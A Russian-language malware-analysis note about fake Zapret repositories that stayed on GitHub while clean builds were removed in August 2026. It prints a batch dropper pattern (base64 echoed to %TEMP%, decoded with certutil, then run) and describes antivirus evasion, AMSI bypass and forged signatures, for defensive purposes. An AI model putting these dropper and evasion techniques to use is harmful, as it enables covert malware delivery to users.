# 🎭 GitHub снёс чистые сборки Zapret, а вирусные репозитории оставил (11 августа 2026) ![[github-clean-vs-malware-rkn-chan-2026-08.webp]] > [!info] О чём заметка > 11 августа 2026 с GitHub исчезли сразу несколько **открытых** проектов обхода блокировок: организация `youtubediscord` (сборка [[Zapret GUI]], форки Telegram-клиента ZaStoGram), аккаунт `censorliber`, репозиторий `goshkow/Zapret-Hub`, аккаунт `neiroxgod` с `zapret-ui`. При этом репозитории с малварью под теми же названиями остались доступны — некоторые с сотнями звёзд и десятками тысяч коммитов. Здесь разобрано, что именно проверено в этот день, как в таких репозиториях спрятан вредоносный код и почему привычные признаки доверия — звёзды, форки, история коммитов, файл контрольных сумм — ничего не гарантируют. Каталог самих вирусных сборок и общий чек-лист — в [[virus|заметке о вирусах в Zapret]]. *Куда пропал ZapretGUI с GitHub, почему не открывается youtubediscord, удалили ли Zapret с гитхаба, накрутка звёзд на GitHub, вирус в general.bat — разбор на 11 августа 2026.* ## TL;DR - Проверка HTTP-кодов 11 августа 2026: `github.com/youtubediscord`, `github.com/censorliber`, `goshkow/Zapret-Hub`, `neiroxgod/zapret-ui` отдают **404**; при этом аккаунт `goshkow` жив — значит удалён отдельный репозиторий, а аккаунт `neiroxgod` не существует целиком. - Репозитории с вредоносной начинкой в тот же момент отдавали **200**: `Quantumfirear/zapret-discord-youtube-1-10-0` (200 звёзд), `Enamelzestation/zapret-discord-youtube` (44), `Vanquishervohonor25/Zapret-4.0` (112), `SpikeServiceForce/polaris-vpn-pro-obhod` (2). - В двух из них найден один и тот же приём: `general.bat` / `service.bat` раздут до ~15,8 МБ, внутри — исполняемый файл Windows в кодировке base64, который скрипт декодирует через `certutil -decode` во временную папку и запускает. Папка `bin` при этом идеально чистая — ровно один `winws.exe`, как в оригинале. - Звёзды не значат ничего: у репозитория с payload — 200 звёзд и 51 форк, а сам аккаунт создан **за 1 минуту 39 секунд** до репозитория и имеет одного подписчика. - История коммитов не значит ничего: 12 131 коммит, все с сообщением «Update README.md» и шагом около 43 секунд, уместились в пять дней конца июля 2026. - Контрольные суммы в архиве `Enamelzestation` честные: 41 из 43 сходится, а расхождение приходится ровно на заражённый `service.bat` — инструмент проверки лежал в архиве, им просто никто не воспользовался. - Антивирусы этого почти не видят, и это измеримо: `Zapret-4.0.exe` детектят **51 вендор из 71**, но тот же файл внутри 106-мегабайтного архива — только **10 из 58**. Мусорные «зависимости» нужны не для солидности, а чтобы файл не попал под полный разбор сканером. - К двум полезным нагрузкам приклеена **чужая цифровая подпись Microsoft**, срезанная с компонента Microsoft Edge Update. Она недействительна — вычисленный хэш файлов не совпадает с зашитым в подписи, — но в свойствах файла Windows показывает имя Microsoft Corporation. - Подделка почти целиком состоит из оригинала: у `Quantumfirear` **45 файлов из 47 побайтово совпадают** с официальной сборкой Flowseal, ядро `winws.exe` не подменено, а заражены ровно два файла — и обход блокировок при этом не работает вовсе. - Блокировка по тегам, о которой шла речь ещё в [[flowseal-zapret-discord-youtube-block-july-2026|июльской истории с приостановкой аккаунта Flowseal]], обходится сменой тега: старые теги подчистили, вирусные раздачи переехали на `zapret-discord-youtube-2026`, `zapret-telegram`, `zapret-youtube` и продолжают работать. - Практический вывод команды [[Zapret GUI]]: основной дом проекта перенесён в собственный Forgejo на `git.zapret.moe`, где решение об удалении принимает не автоматика чужой платформы. > [!warning] Что здесь проверено, а что нет > Все HTTP-коды, размеры файлов, даты, числа звёзд и коммитов получены прямыми запросами к GitHub 11 августа 2026 и воспроизводимы командами из раздела «Как проверить это самому». Механика запуска (base64 → `certutil -decode` → `start`), структура извлечённых бинарников, их хэши, состав секций и результат проверки цифровой подписи получены **статическим разбором**: файлы не запускались ни на реальной машине, ни в песочнице. Числа детектов — с публичных отчётов VirusTotal на 11 августа 2026 (для архива указана дата анализа «11 дней назад», для `.exe` — «2 дня назад»), их видно по ссылке на хэш и можно перепроверить. > > Чего здесь **нет**: утверждений о том, что именно делает полезная нагрузка после запуска. Она зашифрована, в открытом виде в ней нет ни адресов серверов, ни следов работы с браузерами — установить функциональность без динамического анализа нельзя, и он здесь не проводился. Всё, что сказано ниже про начинку, — это наблюдаемая структура файлов, а не описание поведения. ## Что исчезло 11 августа 2026 Проверка сводится к одному: открывается страница или отдаёт 404. Ниже — результат запросов, сделанных в течение дня 11 августа 2026. | Адрес | Код | Что это было | | --- | --- | --- | | `github.com/youtubediscord` | 404 | организация команды: сборка [[Zapret GUI]], [[Zapret2/Zapret2\|Zapret2]], магиск-модуль, форки Telegram-клиента ZaStoGram | | `github.com/youtubediscord/ZaStoGram` | 404 | Android-форк Telegram с [[mtproxy/telegram-wss-transport\|нативным WSS-транспортом]] | | `github.com/censorliber` | 404 | личный аккаунт из команды | | `goshkow/Zapret-Hub` | 404 | открытая сборка обхода блокировок | | `neiroxgod/zapret-ui` | 404 | графическая оболочка для Zapret | Разница между двумя последними строками важна, и её видно по API. Аккаунт `goshkow` существует (зарегистрирован 18 марта 2024, шесть публичных репозиториев, 27 подписчиков) — значит удалён **отдельный репозиторий**. А запрос по `neiroxgod` возвращает `Not Found`, то есть недоступен **весь аккаунт** вместе со всем, что человек когда-либо публиковал. Проще говоря: в одном случае платформа убрала конкретный проект, в другом — стёрла человека целиком, вместе с не относящимися к обходу блокировок репозиториями. Так же выглядела ситуация с `youtubediscord` и `censorliber`: пропала не одна страница, а всё сразу. Ни один из этих проектов не раздавал закрытых бинарников: исходники лежали открыто, сборка велась публично. Именно это делает картину дня показательной — удалено то, что можно прочитать глазами, а осталось то, что прочитать нельзя. ## Что осталось работать Те же запросы, сделанные в тот же день по репозиториям с признаками вредоносной раздачи, дали код 200. Данные о звёздах, форках и датах — из API GitHub на 11 августа 2026; они меняются, поэтому зафиксированы явно. | Репозиторий | Звёзды | Форки | Аккаунт создан | Что внутри | | --- | --- | --- | --- | --- | | `Quantumfirear/zapret-discord-youtube-1-10-0` | 200 | 51 | 3 июля 2026 | `general.bat` и `service.bat` по 15,85 МБ с зашитым исполняемым файлом | | `Vanquishervohonor25/Zapret-4.0` | 112 | 11 | 25 марта 2026 | релиз на 111 МБ, где 110 МБ — файлы-пустышки | | `Enamelzestation/zapret-discord-youtube` | 44 | 0 | 1 июня 2026 | копия сборки Flowseal, заражён `service.bat` в релизном архиве | | `SpikeServiceForce/polaris-vpn-pro-obhod` | 2 | 0 | 6 июня 2026 | каркас из пустых папок и трёх одинаковых по размеру `.md`-файлов | Эти четыре — не полный список, а живые примеры, выбранные из потока однотипных раздач. Их роднит то, что все они пережили день, в который удалили открытые проекты. Вот как выглядит страница самого популярного из них — 200 звёзд, 51 форк, 12 131 коммит и язык `Batchfile 99.9 %`: ![[quantumfirear-repo-200-stars-12131-commits-2026-08.png]] Обратите внимание на строку последнего коммита: `Update README.md`, а рядом — счётчик на двенадцать тысяч. К тому, что стоит за этим числом, вернёмся ниже. ## Как прячут вредоносный код: payload внутри `general.bat` Это главная техническая находка разбора, и она ломает старый чек-листовый признак «в папке не должно быть лишних `.exe`». Возьмём `Quantumfirear/zapret-discord-youtube-1-10-0`. Папка `bin` у него безупречна: один `winws.exe` на 203 776 байт, `WinDivert.dll`, `WinDivert64.sys`, `cygwin1.dll` и обычные бинарные заготовки пакетов (`tls_clienthello_www_google_com.bin` и подобные). По правилу «только один `winws.exe`» из [[virus|каталога вирусных сборок]] такая сборка проходит проверку. Аномалия — в размере скриптов. В настоящей сборке `general.bat` весит несколько килобайт: это текстовый файл с параметрами запуска. Здесь `general.bat` и `service.bat` весят по **15 853 872 байта** — почти 16 мегабайт текста. Причина видна в первых строках файла: ```batch @echo off setlocal enabledelayedexpansion set "exe=%TEMP%\Setup-QLPYIttPtWFwtDfK.exe" set "b64=%TEMP%\Setup-QLPYIttPtWFwtDfK.tmp" del "%b64%" 2>nul echo TVqQAAMAAAAEAAAA//8AAIsAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...>> "%b64%" ``` Так это выглядит в редакторе: три строки осмысленного кода, а дальше — экран, забитый base64: ![[quantumfirear-general-bat-base64-payload-2026-08.webp]] Дальше идут 3856 таких строк `echo`, каждая дописывает очередной кусок в один временный файл. А в самом конце скрипта — развязка: ```batch certutil -decode "%b64%" "%exe%" >nul 2>&1 if exist "%exe%" ( del "%b64%" 2>nul start /b "" "%exe%" ) ``` **Проще говоря:** батник несёт в себе целую программу, записанную буквами и цифрами. Строки `echo` собирают из этих букв временный файл, штатная утилита Windows `certutil` превращает его обратно в `.exe`, скрипт запускает результат в фоне и удаляет промежуточный файл. Никакого «лишнего экзешника» в папке нет — он рождается в момент запуска и живёт в `%TEMP%`. Собрав base64 из файла обратно, получаем исполняемый файл Windows на 11 843 928 байт (сигнатура `MZ` в начале — признак формата PE): - SHA-256 `e1ed9cb3476fb2d734ff72481a7ce03733f24c00f64f48a5a1573956f91b61b8` - MD5 `359cb354a9936f5a3470e750047f6b54` Ровно тот же приём — в релизном архиве `Enamelzestation`. Там сам репозиторий выглядит чистым: `general.bat` на 3378 байт, нормальные строки запуска `winws.exe`, README дословно скопирован у Flowseal вместе с его же разделом «ФЕЙКИ». Но релиз `zapret-discord-youtube-1.9.9d.zip` содержит `service.bat` на **15 818 912 байт** с той же конструкцией, только имя временного файла другое — `Setup-HhnxawuQtYPIVnQe.exe`, а извлечённый бинарник весит 11 817 816 байт (SHA-256 `6c3e7b13ad4037e06b5b615a57441bbc00ed6153ae84274d0998566436f7f060`). ![[enamelzestation-service-bat-base64-payload-2026-08.webp]] Разные имена временных файлов и разные хэши при одинаковой механике означают, что раздачи не копируют один файл, а пересобирают его для каждой публикации. Это и есть ответ на вопрос «почему антивирус молчит»: сигнатуры на конкретный образец не работают, а `.bat`-файл формально состоит из безобидных команд Windows. > [!danger] Отсюда следует новое правило проверки > Смотрите не только на состав папки, но и на **размер `.bat`-файлов**. Скрипт запуска Zapret — это текст с аргументами командной строки, его нормальный размер от двух до примерно двадцати килобайт. Батник на мегабайты — не бывает «просто подробным»: в нём что-то зашито. Такой файл нельзя запускать, но можно безопасно открыть блокнотом и посмотреть первые строки. ## Приём второй: раздуть архив пустышками `Vanquishervohonor25/Zapret-4.0` устроен иначе. В репозитории — красивый README с бейджами и таблицей «что разблокирует», `config.json`, `requirements.txt` и файл `zapret.lnk`, внутри которого лежит обычный Python-скрипт (при этом ни одного `.py` в репозитории нет). Скачивание уводит на страницу GitHub Pages того же аккаунта, а оттуда — в релиз. Оформление README не отличить от продуктового лендинга: баннер «ZAPRET · VERSION 4.0», нарисованный терминал с бегущими проверками `youtube.com OK`, показатели «100 % работает локально» и «<3 мс сетевой оверхед»: ![[zapret-4-0-fake-readme-nightcore-exe-2026-08.png]] Присмотритесь к кнопке скачивания. Под ней подписано имя файла — **`nightcore.exe`**, никак не связанное с названием проекта, и размер «~1.5 MB». Реальный релиз, как показано ниже, весит 106 МБ. Расхождение подписи с тем, что отдаётся на самом деле, — уже достаточный повод закрыть страницу. Релизный архив `Zapret-4.0-Release.zip` весит **111 183 435 байт**, то есть 106 МБ. Полезного в нём — один файл `Zapret-4.0.exe` на 1 079 296 байт. Остальные 105 МБ занимает папка `Depends` с десятью «библиотеками» знакомых названий: `avcodec-59.dll`, `opengl32.dll`, `d3dcompiler_47.dll`, `steam_api64.dll`, `msvcp140.dll` и так далее. Ни одна из них библиотекой не является. Утилита определения типа файла видит в них просто данные, а измерение энтропии даёт ровно 8,0 бит на байт при использовании всех 256 значений — это признак случайного набора байтов. Архив к тому же собран без сжатия (метод `store`), чтобы объём не схлопнулся при упаковке. **Проще говоря:** к маленькой программе приложили сто мегабайт мусора с именами настоящих системных библиотек. Выглядит это как «серьёзный продукт с зависимостями», а работает как ширма: у такого архива в пять раз меньше шансов быть распознанным — измеренное сравнение детектов приведено ниже, в разделе «Почему антивирус это пропускает». Вот как папка `Depends` выглядит в проводнике: десять «библиотек» от 4,7 до 20 МБ, ни одна из которых не является библиотекой. ![[zapret-4-0-depends-junk-dlls-2026-08.png]] Единственный содержательный файл архива — `Zapret-4.0.exe` (SHA-256 `63b344e91bdc39e4f4dbc85ec68c19d7463a5ca7c8da687a0d1614c370464833`). Его разбор и вердикты антивирусов — в разделе «Почему антивирус это пропускает» ниже; забегая вперёд, это загрузчик, который 51 вендор из 71 считает трояном. Витрина при этом сделана заметно аккуратнее самой раздачи. Страница GitHub Pages не содержит ни трекеров, ни аналитики, ни просьб отключить антивирус — типичный маркер подделки здесь обходится стороной: ![[zapret-4-0-github-pages-landing-2026-08.png]] Выдают её несоответствия. Инструкция запуска на странице оперирует именем `nightcore.exe` (пять упоминаний), в разделе вопросов рядом фигурируют `zapret.exe` и `python zapret.py` — три разных имени исполняемого файла в одном документе. Заявлено «весь код на GitHub» и лицензия MIT, но исходников в репозитории нет ни одного. Файл `zapret.lnk` — не ярлык Windows, а Python-скрипт, который проверяет права администратора, печатает строки вида «WFP…» и «DPI bypass:…» и уходит в бесконечный сон; заявленная в `requirements.txt` библиотека перехвата пакетов `pydivert` в нём не используется нигде. То есть даже показанный «код» ничего не обходит. Четвёртый пример, `SpikeServiceForce/polaris-vpn-pro-obhod`, доводит имитацию до абсурда: в репозитории лежат папки `handlers`, `middleware`, `services`, `models`, `drivers` — каркас «настоящего проекта» — и три файла `contributing.md`, `license.md`, `security.md` **ровно по 19 807 байт каждый**. Один и тот же текст-наполнитель под тремя именами: даже документацию не стали писать по отдельности. Текст-приманка внутри обещает «военное шифрование», «строгую политику отсутствия логов» и рисует бейджи, которых GitHub никогда не выдаёт: «ЗАГРУЗКИ 65K+», «РЕЙТИНГ 4.8/5», «ВЕРСИЯ 2026»: ![[polaris-vpn-pro-fake-readme-65k-downloads-2026-08.webp]] Эти бейджи — обычные картинки с сервиса `shields.io`, куда любой вписывает произвольный текст. Настоящее число загрузок GitHub показывает только на странице релиза, и подделать его так просто нельзя — а здесь релиз вообще пустой. Программы в этом репозитории нет вообще: в разделе релизов лежит не файл, а картинка-кнопка со ссылкой на сокращатель `bit.ly`. Такую раздачу площадке нечего сканировать, а конечный адрес владелец меняет в своём кабинете, не трогая репозиторий. Разбор этого приёма и родственного репозитория `limitministerflex/obhod-zapreta-whitelists` — в заметке про [[fixit-arcane-stealer-kaspersky-august-2026|приманку Fixit и стилер Arcane]]; там же видно, что оба аккаунта зарегистрированы 6 июня 2026 с интервалом в полторы минуты. ## Почему звёзды, форки и коммиты ничего не доказывают Самый частый аргумент звучит так: «GitHub безопасен, потому что можно посмотреть звёзды и историю коммитов и убедиться, что проект нормальный». Проверка звучит разумно ровно до того момента, когда узнаёшь, сколько стоит подделать каждый из этих сигналов. ### Звёзды У `Quantumfirear/zapret-discord-youtube-1-10-0` — 200 звёзд и 51 форк. Это больше, чем у многих честных инструментов. Рядом стоят данные аккаунта: он создан 3 июля 2026 в 13:14:27 UTC, а репозиторий появился в 13:16:06 UTC — через **1 минуту 39 секунд**. Три публичных репозитория, один подписчик. Двести звёзд на проекте, который существует меньше пяти недель, у автора без истории — это не популярность, а покупка. Рынок накрутки открытый: боты ставят звёзды пачками, и от настоящих они на странице ничем не отличаются, потому что GitHub показывает только число. Форки подделываются так же. 51 форк выглядит как «люди берут код к себе», хотя форк — это одно нажатие кнопки, доступное любому боту. В [[discord-cdn-fix-fake-repos-june-2026|июньском разборе сети клонов]] накрутка видна даже без API: у семи «независимых» репозиториев было ровно по 66 звёзд, у другой партии — ровно по 28. Совпадение до единицы выдаёт закупку одной партией. ### История коммитов Здесь цифра ещё выразительнее. У того же репозитория **12 131 коммит** — история, которая для честного проекта означала бы годы работы команды. Именно она видна на скриншоте страницы репозитория в разделе «Что осталось работать» выше. Смотрим содержание. Последние коммиты идут подряд с сообщением «Update README.md» и интервалом около 43 секунд. Проверка по краям диапазона показывает, что вся эта история умещается в пять дней: коммит номер 12 100 датирован 24 июля 2026, а самый свежий — 29 июля 2026. Первый коммит репозитория сделан 3 июля 2026 — через секунду после создания репозитория. **Проще говоря:** скрипт больше суток подряд правил один и тот же README, чтобы график активности стал зелёным, а счётчик коммитов — четырёхзначным. Никакого кода в этих коммитах нет. Отличить такое от настоящей разработки можно за десять секунд, но для этого нужно открыть саму историю, а не число рядом с ней. Настоящий проект даёт разные сообщения коммитов, разные затронутые файлы и неровный ритм; накрутка — одинаковый текст с равным шагом. Есть у этого автора и второй, более тонкий приём. В соседнем его репозитории `lfwpwcnr` лежит файл `log.txt`, куда 129 коммитов дописали по строке с датой — и даты равномерно распределены по всему 2026 году, причём **49 из них приходятся на ещё не наступившие месяцы**, вплоть до 31 декабря. Календарь вкладов GitHub строит по дате, которую указывает сам автор коммита, поэтому профиль выглядит активным круглый год. Реально всё залито 19 июля 2026 за две минуты. Тот же скрипт в тот же вечер обслужил аккаунт из [[hidemydiscord-loader-august-2026|разбора HideMyDiscord]] — с интервалом в 55 секунд. ### Контрольные суммы С этим сигналом вышла история, которая переворачивает привычный вывод. В архиве `Enamelzestation` лежит `SHA256SUMS.txt` — файл с хэшами всех остальных файлов, 43 строки. Проверка каждой строки даёт следующее: **41 сумма из 43 сходится**. Не сходятся две. Первая — самоссылка файла на самого себя, она не может совпасть по построению и не совпадает даже в оригинальной сборке. Вторая — `./service.bat`: заявлено `d440a916701209b25bb54fa80bae928f7df535ef68ee1f850db8f53e13ba4f41`, фактически `cd6fda79a4abc4353b1946fe4ae4c27900b71d72dcba9f9a1aba9e4c1367dded`. То есть файл контрольных сумм — **не подделка и не декорация**. Это честный `SHA256SUMS.txt`, скопированный вместе со всей сборкой Flowseal 1.9.9d, и заявленная в нём сумма `d440a916…` — настоящая сумма чистого 29-килобайтного `service.bat`. Атакующий подменил скрипт, но не стал пересчитывать список. Инструмент проверки лежал прямо в архиве и прямо указывал на заражённый файл — им просто никто не воспользовался. Это же видно и по датам внутри архива: 42 файла помечены `2026-07-04 21:48`, а `service.bat` — `2026-07-21 18:42`, и лежит он в архиве последним. Готовую чистую сборку взяли и дописали в неё один файл семнадцать дней спустя. Отсюда два вывода, а не один. Первый: **контрольные суммы работают — но только если их проверять**; сам факт их наличия не значит ничего. Второй: сверять хэши нужно с публикацией первоисточника, а не с файлом из того же архива — здесь атакующий поленился, но перегенерировать список — это одна команда, и в следующий раз расхождения не будет. Хэши оригинального ядра — в [[virus#Про хэш-файла|разделе о хэшах]]. ### Сама платформа Остаётся последний слой аргумента — «но это же GitHub, там модерация». События 11 августа 2026 показывают, как эта модерация устроена на практике: под удаление попали открытые проекты, чей код читается глазами, а раздачи с зашитым в скрипт бинарником продолжили работать месяцами (репозиторий `Enamelzestation` создан 1 июня 2026 и обновлялся 2 августа 2026 — то есть жил на площадке больше двух месяцев). Это не значит, что платформа «покрывает вирусы». Это значит, что автоматическая модерация судит по метаданным — названиям, тегам, жалобам, поведению аккаунта, — а не по содержимому файлов. Проверить, что мегабайтный `.bat` разворачивается в исполняемый файл, автоматика в этих случаях не смогла; убрать проект по совпадению тега — смогла. ## Почему антивирус это пропускает: разбор изнутри Самый частый вопрос к таким разборам — «если это вирус, почему антивирус молчит?». Ответ разложен ниже по шагам, и каждый шаг проверяется командой или публичным отчётом. Все хэши приведены полностью именно для того, чтобы выводы можно было перепроверить, а не принимать на слово. ### Опыт, который ставит точку: тот же файл, два результата Внутри архива `Zapret-4.0-Release.zip` лежит `Zapret-4.0.exe` (1 079 296 байт, SHA-256 `63b344e91bdc39e4f4dbc85ec68c19d7463a5ca7c8da687a0d1614c370464833`). Один и тот же исполняемый файл проверили на VirusTotal двумя способами. **Сам `.exe` — 51 вендор из 71** считает его вредоносным. Сводный ярлык `trojan.sidewinder/donutloader`, среди детектов Microsoft (`Trojan:Win64/Donut!rfn`), BitDefender, ESET, Kaspersky, CrowdStrike, Malwarebytes, Sophos: ![[zapret-4-0-exe-virustotal-51-of-71-2026-08.webp]] **Тот же файл внутри 106-мегабайтного архива — 10 вендоров из 58.** Microsoft, BitDefender, CrowdStrike, Malwarebytes, McAfee, Emsisoft, GData, DeepInstinct в этом виде молчат: ![[zapret-4-0-virustotal-10-of-58-2026-08.webp]] Разница в пять раз — на одном и том же коде. Вот зачем в архиве 105 МБ «зависимостей», которые на деле случайный шум (папка `Depends` показана выше): они не прячут вредоноса от анализа, они **сдвигают файл за пределы того, что сканеры разбирают целиком**. У большинства движков есть лимиты на размер вложения, глубину и время распаковки; стомегабайтный архив с десятком многомегабайтных «библиотек» в них упирается. Проверяется это на своей машине одной командой — распакуйте архив и отправьте на VirusTotal **сам исполняемый файл**, а не архив целиком. Правило общее: **сканируйте распакованное**. ### Почему детекты выглядят как `GenKryptik` и `SideWinder` Даже те вендоры, что среагировали, дают родовые имена. `Win64/GenKryptik.HPQC` у ESET — это детект **упаковщика-криптора**, а не конкретного зловреда: под таким ярлыком лежат тысячи разных программ, объединённых лишь тем, что они сильно обфусцированы. `HEUR:Trojan.Win64.SideWinder.gen` у Kaspersky — эвристическая сигнатура, где `HEUR` и `.gen` означают «похоже по поведению», а не «опознан точно». > [!warning] Ярлык детекта — не атрибуция > `SideWinder` — имя реально существующей APT-группы, но родовое эвристическое срабатывание **не доказывает** связь этой раздачи с ней. Считать по ярлыку VirusTotal, что за фейковым «Zapret 4.0» стоит конкретная группировка, нельзя — это типичное совпадение сигнатуры упаковщика. В заметке фиксируется только то, что видно: файл детектится как упакованный загрузчик. ### Что внутри `Zapret-4.0.exe`: 9 КБ кода и мегабайт шифра Разбор структуры файла объясняет и высокий детект, и почему статический анализ почти ничего не показывает. Из 1 079 296 байт на исполняемый код (`.text`) приходится **9360 байт** — меньше процента. Ещё 1 054 342 байта занимает единственный ресурс типа `RCDATA` с энтропией **7,9998** из максимальных 8,0: равномерный шум без сигнатур известных форматов — ни `MZ`, ни `PK`, ни `7z`. Это зашифрованные данные, а не сжатый архив. В коде рядом лежит константа `expand 32-byte k` — узнаваемая «сигма» потоковых шифров ChaCha20/Salsa20. Строк, по которым обычно ищут, в файле нет вовсе: ни одного URL, домена, IP-адреса или имени мьютекса. Единственная ссылка — `schemas.microsoft.com` в манифесте. Импорты выдают назначение точнее строк: `VirtualAlloc`, `VirtualProtect`, `FindResourceA`, `LoadResource`, `LoadLibraryA`, `GetProcAddress` — то есть «взять ресурс, расшифровать, выделить память, сделать её исполняемой и передать управление». Плюс `AddVectoredExceptionHandler`, `GetThreadContext`, `SetThreadContext`, `FlushInstructionCache` — набор, которым перехватывают функции в памяти, не трогая файлы на диске. Отдельная находка — работа с антивирусным интерфейсом Windows. Строки `amsi.dll` и `AmsiScan` лежат в файле открыто, а имя ключевой функции спрятано: последовательность `0f233d271d2d2f200c3b28282b3c` — это `AmsiScanBuffer`, зашифрованный простейшим XOR с ключом `0x4E`. Имя собирается в момент запуска и ищется через `GetProcAddress`, поэтому в таблице импорта `amsi.dll` не значится. **Проще говоря:** AMSI — это интерфейс, через который Windows даёт антивирусу заглянуть в то, что программа собирается выполнить в памяти. Файл, который прячет имя функции этого интерфейса за примитивным шифром и умеет править чужой код в памяти, готовится этот просмотр отключить. Никакого отношения к обходу блокировок такая механика не имеет. Проверить XOR может любой: ```bash python3 -c "print(bytes.fromhex('0f233d271d2d2f200c3b28282b3c').translate(bytes(b^0x4E for b in range(256))).decode())" ``` ### Файл притворяется компонентом Intel У `Zapret-4.0.exe` подделаны и метаданные версии. Windows показывает их в свойствах файла и в диалогах — вот что видит пользователь, решивший удалить подозрительный файл: ![[zapret-4-0-exe-fake-intel-metadata-2026-08.png]] `Организация: Intel Corporation`, `Описание файла: System health background task`, версия `5.1.41.5927`. В ресурсе версии прописано и оригинальное имя — `IntelMEService.exe`, то есть файл выдаёт себя за службу Intel Management Engine. При этом манифест внутри называет приложение `HelperApp`, а лежит всё это под именем `Zapret-4.0.exe`. Три разных имени в одном файле — и ни одно не соответствует тому, чем он назван на странице скачивания (`nightcore.exe`). Цифровой подписи у этого файла нет вовсе — данных после последней секции ноль. ### А вот полезная нагрузка из `.bat` — «подписана Microsoft» С двумя другими образцами хитрее. Оба извлечённых из батников бинарника (`e1ed9cb3…` и `6c3e7b13…`) несут в конце файла блок Authenticode на 10 072 байта с цепочкой сертификатов `CN=Microsoft Corporation` ← `Microsoft Code Signing PCA 2024` ← `Microsoft Root Certificate Authority 2011`, сертификат действителен с 16 апреля 2026 по 15 апреля 2027. Подпись недействительна, и это доказывается арифметикой, а не мнением. В подписи зафиксирован хэш подписанного содержимого: `36B9623A5555507F53B7D842C5F06E8D80DD94EFE469D499A0BCA3B045BA50D9`. Вычисленный по правилам Authenticode хэш самих файлов — `935ff11eccb3138b4996319842449fee004ae5089e07756d0b0b8ea205276b8a` у первого и `b7a1f6739117e5348e84c7b0adceb6b52605baaa294301f91b0e21176d3b096e` у второго. Ни один не совпадает с заявленным. Более того, блок подписи в обоих файлах **побайтово одинаков** (MD5 `faf9f3f5c743552a84920f53820d1e6d`) — при том что сами файлы разные. Одну и ту же подпись приклеили к двум разным бинарникам. Видно и то, откуда её срезали: внутри блока в поле с именем программы записано `Microsoft Edge Update`. То есть взяли подпись настоящего компонента обновления браузера Edge и перенесли её на свой файл. > [!important] Зачем приклеивать заведомо неработающую подпись > Затем, что она работает — не как криптография, а как сигнал доверия. В свойствах файла Windows появляется вкладка «Цифровые подписи» с именем Microsoft Corporation; статус «подпись недействительна» надо открыть отдельно, и его не читают. А публичные исследования показывают, что и часть антивирусных движков ведёт себя так же: в известной работе о подписанной малвари **не менее 34 продуктов** не проверяли валидность сертификата, и образцы, которые до этого детектились, переставали детектиться после простого дописывания невалидной подписи. Приём дешёвый: подпись копируется из легального файла одной утилитой. ### Три причины, по которым сигнатурный поиск бесполезен **Первая: каждая сборка даёт новый хэш.** Два payload’а — это одна и та же программа, собранная дважды. Совпадает всё, что описывает её устройство: Go 1.26.4, флаги сборки `-trimpath=true`, `CGO_ENABLED=0`, `GOOS=windows`; имя модуля в обоих — безымянная заглушка `stub` версии `(devel)`; одинаковый до версий набор зависимостей (`fxamacker/cbor v2.9.0`, `klauspost/compress v1.18.4`, `golang.org/x/crypto v0.48.0`); единственный именованный тип в коде — `main.PayloadContainer`; импортируется одна библиотека `kernel32.dll`, 44 функции, списки идентичны. Совпадение по строкам кода — **97,1 %** (пересечение множеств строк секций `.text` и `.rdata`). А вот совпадение по содержимому файла — почти нулевое: при сравнении блоками по 4 КБ совпал **1 блок из 2891**, первое расхождение начинается на 141-м байте, в заголовке PE. Причина разрыва — обфускация имён при сборке: функции в `main` называются `A7CGEtg1HuRQZLCCiFHIyIYdKm10` у одного образца и `mUz8tR5x9F1pCLcSfk3LcFbXjBt` у другого, пересечений нет. Плюс в каждом лежит свой шифрованный блок на 5,3 МБ с энтропией 7,996. Сигнатура, составленная по первому образцу, второй не найдёт — при том что это одна программа. **Проще говоря:** злоумышленнику не нужно переписывать код, чтобы уйти от детекта. Достаточно пересобрать проект — имена функций перемешаются, шифрованный блок изменится, хэш станет новым. Раздача под каждый репозиторий собирается заново, и защита, которая ищет известный файл, ищет то, чего больше не существует. Полезной нагрузки в открытом виде в этих файлах нет вообще: ни одного адреса управляющего сервера, ни одного упоминания браузеров, кошельков или мессенджеров — всё это лежит внутри зашифрованного блока, и без ключа или запуска в песочнице из строк не извлекается. Косвенно виден только инструментарий: рядом слинкованы библиотека сериализации `cbor`, компрессор `zstd` и шифр `chacha20poly1305` — то есть контейнер, сжатие и шифрование. Различаются образцы тем, какие пакеты подтянуты дополнительно (у одного — декодер PNG, у другого — упаковщик ZIP), а значит и содержимое контейнеров у них разное. Проверяется так: ```bash python3 -c " import hashlib a=open('payload1.exe','rb').read(); b=open('payload2.exe','rb').read() s={hashlib.md5(b[i:i+4096]).digest() for i in range(0,len(b)-4096,4096)} print(sum(1 for i in range(0,len(a)-4096,4096) if hashlib.md5(a[i:i+4096]).digest() in s))" ``` **Вторая: на диске нет вредоносного файла.** До запуска полезная нагрузка существует только как текст внутри `.bat` — 3856 строк `echo` с base64. Файловый антивирус видит текстовый скрипт из штатных команд Windows: `echo`, `del`, `certutil`, `start`. Сам `certutil` — легальная системная утилита, подписанная Microsoft и присутствующая в любой Windows; её использование не для сертификатов, а для декодирования base64 — известный приём, но детектировать её вызов как вредонос нельзя, иначе посыплются ложные срабатывания на десятках админских скриптов. **Третья: образцы свежие и нигде не засвечены.** Поиск трёх хэшей из этого разбора в публичных базах и песочницах (MalwareBazaar, отчёты any.run, tria.ge, hybrid-analysis) результатов не даёт — их туда просто не отправляли. Сигнатурная база строится на образцах, которые кто-то уже прислал; по данным AV-TEST, ежедневно регистрируется свыше **450 000** новых образцов вредоносного и нежелательного ПО, и первые дни жизни конкретного файла — это окно, когда его не знает почти никто. ### И последнее: подделка почти целиком состоит из оригинала Здесь ломается способ проверки «скачаю и посмотрю глазами». В сборке `Quantumfirear` **45 файлов из 47 побайтово идентичны** официальному релизу Flowseal 1.10.0: все двадцать вариантов `general (ALT*).bat`, все списки, `utils/test zapret.ps1`, и главное — ядро `bin/winws.exe` (SHA-256 `affb4f69d2ea302a7abccd5325d81826e140ddae014f1e070bc4a6c0dd555188`, версия v72.9) не подменено вовсе. Подделаны ровно два файла: `general.bat` и `service.bat`, причём оба — **один и тот же файл** с одинаковым хэшем `a729ce64106ea9ccce78511c7753ef9d30b3b0017d8d540720054a866e6acb86`, просто сохранённый под двумя именами. Из них вырезана вся логика запуска: заражённый `general.bat` **не запускает `winws.exe` вообще**. То есть обхода блокировок в этой сборке нет ни в каком виде — пользователь запускает файл, получает индикатор работы и малварь, а Discord у него не чинится. Заражение при этом покрывает все точки входа, и не благодаря хитрости атакующего, а из-за штатной архитектуры оригинала: у Flowseal каждый вариант `general (ALT*).bat` начинается с четырёх вызовов `call service.bat` (проверка статуса, обновлений, загрузка фильтров и пользовательских списков). Достаточно подменить один общий файл — и любой из двадцати «чистых» 